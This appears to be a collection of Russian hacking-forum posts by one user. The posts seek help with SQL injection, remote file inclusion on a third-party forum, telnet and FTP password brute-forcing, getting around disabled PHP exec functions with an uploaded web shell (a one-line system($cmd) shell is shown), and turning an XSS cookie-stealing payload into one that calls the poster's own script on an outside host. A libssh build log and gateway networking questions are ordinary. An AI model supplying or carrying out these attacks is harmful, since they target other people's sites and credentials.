XSpider говорит, что если апач поддерживает метод TRACE, возможен XSS. Сходил по ссылкам, что внизу XSpider показывал - ничего особенного не объяснено. Может, кто подскажет?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Т.е. как обычно, выплюнула ошибку базы данных. Как понять какой запрос нужно забить чтобы считать хоть какие-то данные из базы: как узнать структуру таблицы и сколько всяких там null,null надо ввести для чтения инфы из таблицы?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Правильно ли я понял, что через браузер такой запрос не послать (т.е. в сам урл)? Только с создавая форму html и прописывая в ней метод отправки (ну и ещё прогами типа InetCrack)?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Никак не могу понять как задать переменную,чтоб локальные файлы можно было бы инклудить... Удалённые не хочет: подставляю : http://www.hack.narod.ru/script.inc.php - ноль эмоций: ни результатов работы ни ошибки...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Пытаюсь собрать библиотеку libssh 1.0 Команда ./configure выполнилась успешно. А вот make ругает:
Код
[root@localhost libssh]# make
gcc -g -O2 -Wall -g -I../include/ -c -o client.o client.c
In file included from client.c:27:
../include/libssh/libssh.h:40:25: openssl/dsa.h: No such file or directory
../include/libssh/libssh.h:41:25: openssl/rsa.h: No such file or directory
../include/libssh/libssh.h:42:25: openssl/sha.h: No such file or directory
../include/libssh/libssh.h:43:25: openssl/md5.h: No such file or directory
../include/libssh/libssh.h:44:26: openssl/hmac.h: No such file or directory
In file included from client.c:27:
../include/libssh/libssh.h:45: error: syntax error before "SHACTX"
../include/libssh/libssh.h:45: warning: type defaults to `int' in declaration of `SHACTX'
../include/libssh/libssh.h:45: warning: data definition has no type or storage class
../include/libssh/libssh.h:46: error: syntax error before "MD5CTX"
../include/libssh/libssh.h:46: warning: type defaults to `int' in declaration of `MD5CTX'
../include/libssh/libssh.h:46: warning: data definition has no type or storage class
../include/libssh/libssh.h:47: error: syntax error before "HMACCTX"
../include/libssh/libssh.h:47: warning: type defaults to `int' in declaration of `HMACCTX'
../include/libssh/libssh.h:47: warning: data definition has no type or storage class
../include/libssh/libssh.h:53:24: openssl/bn.h: No such file or directory
../include/libssh/libssh.h:54: error: syntax error before '*' token
../include/libssh/libssh.h:54: warning: type defaults to `int' in declaration of `bignum'
../include/libssh/libssh.h:54: warning: data definition has no type or storage class
../include/libssh/libssh.h:55: error: syntax error before '*' token
../include/libssh/libssh.h:55: warning: type defaults to `int' in declaration of `bignum_CTX'
../include/libssh/libssh.h:55: warning: data definition has no type or storage class
In file included from client.c:27:
../include/libssh/libssh.h:77: error: syntax error before '*' token
../include/libssh/libssh.h:77: warning: type defaults to `int' in declaration of `md5_init'
../include/libssh/libssh.h:77: warning: data definition has no type or storage class
../include/libssh/libssh.h:78: error: syntax error before '*' token
../include/libssh/libssh.h:79: error: syntax error before "MD5CTX"
../include/libssh/libssh.h:80: error: syntax error before '*' token
../include/libssh/libssh.h:80: warning: type defaults to `int' in declaration of `sha1_init'
../include/libssh/libssh.h:80: warning: data definition has no type or storage class
../include/libssh/libssh.h:81: error: syntax error before '*' token
../include/libssh/libssh.h:82: error: syntax error before "SHACTX"
../include/libssh/libssh.h:86: error: syntax error before '*' token
../include/libssh/libssh.h:86: warning: type defaults to `int' in declaration of `hmac_init'
../include/libssh/libssh.h:86: warning: data definition has no type or storage class
../include/libssh/libssh.h:87: error: syntax error before '*' token
../include/libssh/libssh.h:88: error: syntax error before '*' token
../include/libssh/libssh.h:121: error: syntax error before "DSA"
../include/libssh/libssh.h:121: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:122: warning: type defaults to `int' in declaration of `rsa_pub'
../include/libssh/libssh.h:122: warning: data definition has no type or storage class
../include/libssh/libssh.h:123: error: syntax error before '}' token
../include/libssh/libssh.h:123: warning: type defaults to `int' in declaration of `PUBLIC_KEY'
../include/libssh/libssh.h:123: warning: data definition has no type or storage class
../include/libssh/libssh.h:127: error: syntax error before "DSA"
../include/libssh/libssh.h:127: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:128: warning: type defaults to `int' in declaration of `rsa_priv'
../include/libssh/libssh.h:128: warning: data definition has no type or storage class
../include/libssh/libssh.h:129: error: syntax error before '}' token
../include/libssh/libssh.h:129: warning: type defaults to `int' in declaration of `PRIVATE_KEY'
../include/libssh/libssh.h:129: warning: data definition has no type or storage class
../include/libssh/libssh.h:133: error: syntax error before "DSA_SIG"
../include/libssh/libssh.h:133: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:135: error: syntax error before '}' token
../include/libssh/libssh.h:135: warning: type defaults to `int' in declaration of `SIGNATURE'
../include/libssh/libssh.h:135: warning: data definition has no type or storage class
../include/libssh/libssh.h:178: error: syntax error before "bignum"
../include/libssh/libssh.h:178: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:179: error: `SHA_DIGEST_LENGTH' undeclared here (not in a function)
../include/libssh/libssh.h:189: error: `EVP_MAX_MD_SIZE' undeclared here (not in a function)
../include/libssh/libssh.h:196: error: syntax error before '}' token
../include/libssh/libssh.h:196: warning: type defaults to `int' in declaration of `CRYPTO'
../include/libssh/libssh.h:196: warning: data definition has no type or storage class
../include/libssh/libssh.h:241: error: syntax error before "CRYPTO"
../include/libssh/libssh.h:241: warning: no semicolon at end of struct or union
../include/libssh/libssh.h:242: warning: type defaults to `int' in declaration of `next_crypto'
../include/libssh/libssh.h:242: warning: data definition has no type or storage class
../include/libssh/libssh.h:247: error: syntax error before '}' token
../include/libssh/libssh.h:247: warning: type defaults to `int' in declaration of `SSH_SESSION'
../include/libssh/libssh.h:247: warning: data definition has no type or storage class
../include/libssh/libssh.h:254: error: syntax error before '*' token
../include/libssh/libssh.h:255: error: syntax error before '*' token
../include/libssh/libssh.h:256: error: syntax error before '*' token
../include/libssh/libssh.h:269: error: syntax error before '*' token
../include/libssh/libssh.h:269: warning: type defaults to `int' in declaration of `ssh_connect'
../include/libssh/libssh.h:269: warning: data definition has no type or storage class
../include/libssh/libssh.h:270: error: syntax error before '*' token
../include/libssh/libssh.h:271: error: syntax error before '*' token
../include/libssh/libssh.h:272: error: syntax error before '*' token
../include/libssh/libssh.h:292: error: syntax error before '*' token
../include/libssh/libssh.h:293: error: syntax error before '*' token
../include/libssh/libssh.h:294: error: syntax error before '*' token
../include/libssh/libssh.h:295: error: syntax error before '*' token
../include/libssh/libssh.h:296: error: syntax error before '*' token
../include/libssh/libssh.h:297: error: syntax error before '*' token
../include/libssh/libssh.h:298: error: syntax error before '*' token
../include/libssh/libssh.h:300: error: syntax error before '*' token
../include/libssh/libssh.h:301: error: syntax error before '*' token
../include/libssh/libssh.h:304: error: syntax error before '*' token
../include/libssh/libssh.h:307: error: syntax error before '*' token
../include/libssh/libssh.h:309: error: syntax error before '*' token
../include/libssh/libssh.h:311: error: syntax error before "make_string_bn"
../include/libssh/libssh.h:311: warning: type defaults to `int' in declaration of `make_string_bn'
../include/libssh/libssh.h:311: warning: data definition has no type or storage class
../include/libssh/libssh.h:312: error: syntax error before '*' token
../include/libssh/libssh.h:315: error: syntax error before '*' token
../include/libssh/libssh.h:316: error: syntax error before '*' token
../include/libssh/libssh.h:317: error: syntax error before '*' token
../include/libssh/libssh.h:319: error: syntax error before '*' token
../include/libssh/libssh.h:322: error: syntax error before '*' token
../include/libssh/libssh.h:323: error: syntax error before '*' token
../include/libssh/libssh.h:324: error: syntax error before '*' token
../include/libssh/libssh.h:325: error: syntax error before '*' token
../include/libssh/libssh.h:326: error: syntax error before '*' token
../include/libssh/libssh.h:327: error: syntax error before '*' token
../include/libssh/libssh.h:331: error: syntax error before '*' token
../include/libssh/libssh.h:331: warning: type defaults to `int' in declaration of `ssh_session_new'
../include/libssh/libssh.h:331: warning: data definition has no type or storage class
../include/libssh/libssh.h:332: error: syntax error before '*' token
../include/libssh/libssh.h:337: error: syntax error before '*' token
../include/libssh/libssh.h:339: error: syntax error before '*' token
../include/libssh/libssh.h:340: error: syntax error before '*' token
../include/libssh/libssh.h:345: error: syntax error before '*' token
../include/libssh/libssh.h:346: error: syntax error before '*' token
../include/libssh/libssh.h:346: warning: type defaults to `int' in declaration of `publickey_make_dss'
../include/libssh/libssh.h:346: warning: data definition has no type or storage class
../include/libssh/libssh.h:347: error: syntax error before '*' token
../include/libssh/libssh.h:347: warning: type defaults to `int' in declaration of `publickey_make_rsa'
../include/libssh/libssh.h:347: warning: data definition has no type or storage class
../include/libssh/libssh.h:348: error: syntax error before '*' token
../include/libssh/libssh.h:348: warning: type defaults to `int' in declaration of `publickey_from_string'
../include/libssh/libssh.h:348: warning: data definition has no type or storage class
../include/libssh/libssh.h:349: error: syntax error before '*' token
../include/libssh/libssh.h:349: error: syntax error before "PUBLIC_KEY"
../include/libssh/libssh.h:349: warning: type defaults to `int' in declaration of `signature_from_string'
../include/libssh/libssh.h:349: warning: data definition has no type or storage class
../include/libssh/libssh.h:350: error: syntax error before '*' token
../include/libssh/libssh.h:351: error: syntax error before '*' token
../include/libssh/libssh.h:355: error: syntax error before '*' token
../include/libssh/libssh.h:355: error: syntax error before '*' token
../include/libssh/libssh.h:355: warning: type defaults to `int' in declaration of `privatekey_from_file'
../include/libssh/libssh.h:355: warning: data definition has no type or storage class
../include/libssh/libssh.h:356: error: syntax error before '*' token
../include/libssh/libssh.h:358: error: syntax error before '*' token
../include/libssh/libssh.h:362: error: syntax error before '*' token
../include/libssh/libssh.h:363: error: syntax error before '*' token
../include/libssh/libssh.h:370: error: syntax error before '*' token
../include/libssh/libssh.h:444: error: syntax error before '*' token
../include/libssh/libssh.h:445: error: syntax error before '*' token
../include/libssh/libssh.h:446: error: syntax error before '*' token
../include/libssh/libssh.h:447: error: syntax error before '*' token
../include/libssh/libssh.h:448: error: syntax error before '*' token
../include/libssh/libssh.h:451: error: syntax error before '*' token
../include/libssh/libssh.h:452: error: syntax error before '*' token
../include/libssh/libssh.h:455: error: syntax error before '*' token
../include/libssh/libssh.h:456: error: syntax error before '*' token
../include/libssh/libssh.h:456: warning: type defaults to `int' in declaration of `crypto_new'
../include/libssh/libssh.h:456: warning: data definition has no type or storage class
../include/libssh/libssh.h:457: error: syntax error before '*' token
../include/libssh/libssh.h:458: error: syntax error before "BN_new"
../include/libssh/libssh.h:458: warning: type defaults to `int' in declaration of `BN_new'
../include/libssh/libssh.h:458: warning: data definition has no type or storage class
client.c:29: error: syntax error before '*' token
client.c:32: error: syntax error before '*' token
client.c: In function `get_banner':
client.c:36: error: `session' undeclared (first use in this function)
client.c:36: error: (Each undeclared identifier is reported only once
client.c:36: error: for each function it appears in.)
client.c: At top level:
client.c:57: error: syntax error before '*' token
client.c: In function `send_banner':
client.c:60: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:68: error: syntax error before '*' token
client.c: In function `dh_handshake':
client.c:70: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:125: error: syntax error before '*' token
client.c: In function `ssh_service_request':
client.c:127: error: `session' undeclared (first use in this function)
client.c:129: error: `service' undeclared (first use in this function)
client.c: At top level:
client.c:142: error: syntax error before '*' token
client.c:142: warning: return type defaults to `int'
client.c: In function `ssh_connect':
client.c:143: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:188: error: syntax error before '*' token
client.c: In function `ssh_cleanup':
client.c:190: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:222: error: syntax error before '*' token
client.c: In function `ssh_get_issue_banner':
client.c:223: error: `session' undeclared (first use in this function)
client.c: At top level:
client.c:228: error: syntax error before '*' token
client.c: In function `ssh_disconnect':
client.c:230: error: `session' undeclared (first use in this function)
client.c: At top level:
../include/libssh/libssh.h:179: error: storage size of `session_id' isn't known
../include/libssh/libssh.h:181: error: storage size of `encryptIV' isn't known
../include/libssh/libssh.h:182: error: storage size of `decryptIV' isn't known
../include/libssh/libssh.h:184: error: storage size of `decryptkey' isn't known
../include/libssh/libssh.h:185: error: storage size of `encryptkey' isn't known
../include/libssh/libssh.h:187: error: storage size of `encryptMAC' isn't known
../include/libssh/libssh.h:188: error: storage size of `decryptMAC' isn't known
../include/libssh/libssh.h:189: error: storage size of `hmacbuf' isn't known
make: *** [client.o] Ошибка 1
С исходниками точно всё нормально: на удалённом шелле собралось (там стоит Slackware 9.1)
Я так понимаю, каких-то компонентов не хватает... Чего именно?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Комп (WinXP SP2) имеет доступ в инет через локалку, подключённую к инету через шлюз. Шлюз для инета требует аутентификации.
Встаёт вопрос: как сделать так, чтобы работа была с инетом комфортная: т.е. во-первых, надо, чтоб браузер каждый раз при открытии не запрашивал логина и пасса, а во-вотрых, чтобы весь сетевой траффик мог работать без проблем. К примеру, я не могу воспользоваться в командкой строке командой ping: пишет, что-то вроде: узел не доступен. Всё из-за этой аутентификации...
Можно, конечно, большинство прог направить туннелированием их траффика, воспользовавшись чем-нить вроде SocksChain, но это не подходит: задолбаюсь все проги туды впихивать. Драйвер сетевого перенаправления на шлюз тоже не очень хорошая идея.
Может как-нить переменные среды настроить или ещё что?
P.S. Если кто вдруг не понял: логин и пасс для доступа имеются
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Есть локальная сеть. Между сетью и инетом - сервер на линухе. Нужно, чтобы через инет я мог получить доступ к компу из локальной сети (обычное удалённое администрирование). Вопрос: что посоветуете поставить на шлюз? Можно прокси, но тогда придётся туннель прокладывать прогами на локальном компе. Есть что-нибудь менее гимморное?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Проблема вот в чём: когда начинаю брут через телнет при каждом бруте от находит для одного и того же логина разные пассы, которые при проверке не подходят. Пробовал брутить ftp и ssh - такого эффекта нет.
А когда перебираю по ftp (там стоит ProFTPd 1.2.10) - через некоторое время пишет, что таймаут настал, доступа нет. И пару минут пишет вот такую штуку. Прихордится брут прибивать. Есть у кого идеи решения этих 2-х проблем?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Есть некий сайт. На его самописном форуме ссылки на темы имеют вид типа: topic_id=num. Проверил на наличие num.php - существует. При чём тот самый. Далее в браузере ввожу: http://имя_сайта/forum/topic_id=http://www.securitylab.ru Загрузилась главная страница секлаба. Далее: на сайт site.com забрасываю shell.php с таким содержимым: nbsp; nbsp; nbsp;lt;? system($cmd); ? gt; Пишу: http://имя_сайта/forum/topic_id=http://site.com/shell.php cm d=ls получаю в ответ: Warning: system() has been disabled for security reasons in http://site.com/shell.php on line 2
Тогда в файле shell.php заменил cmd на passthru. В ответ: Warning: passthru() has been disabled for security reasons in http://site.com/shell.php on line 1
Попытался подрубить phpshell - уже кем-то написанный. Выдаёт: Warning: exec() has been disabled for security reasons in http://site.com/phpsh.php on line 82
Как быть?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Есть сервер, в котором мона осуществить межсайтовый скриптинг: [FONT=expression(alert(document.cookie))]text</font> will made the HTML : <span style='font-family:expression(alert(document.cookie))'>te xt</span>
Есть некий сервер server.com На нём лежит мой скрипт: server.com/cgi-bin/cookie.cgi
Задача: саму строку эксплоита модифицировать так, чтоб исполнялся мой скрипт с сервера server.com
Не поможите?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."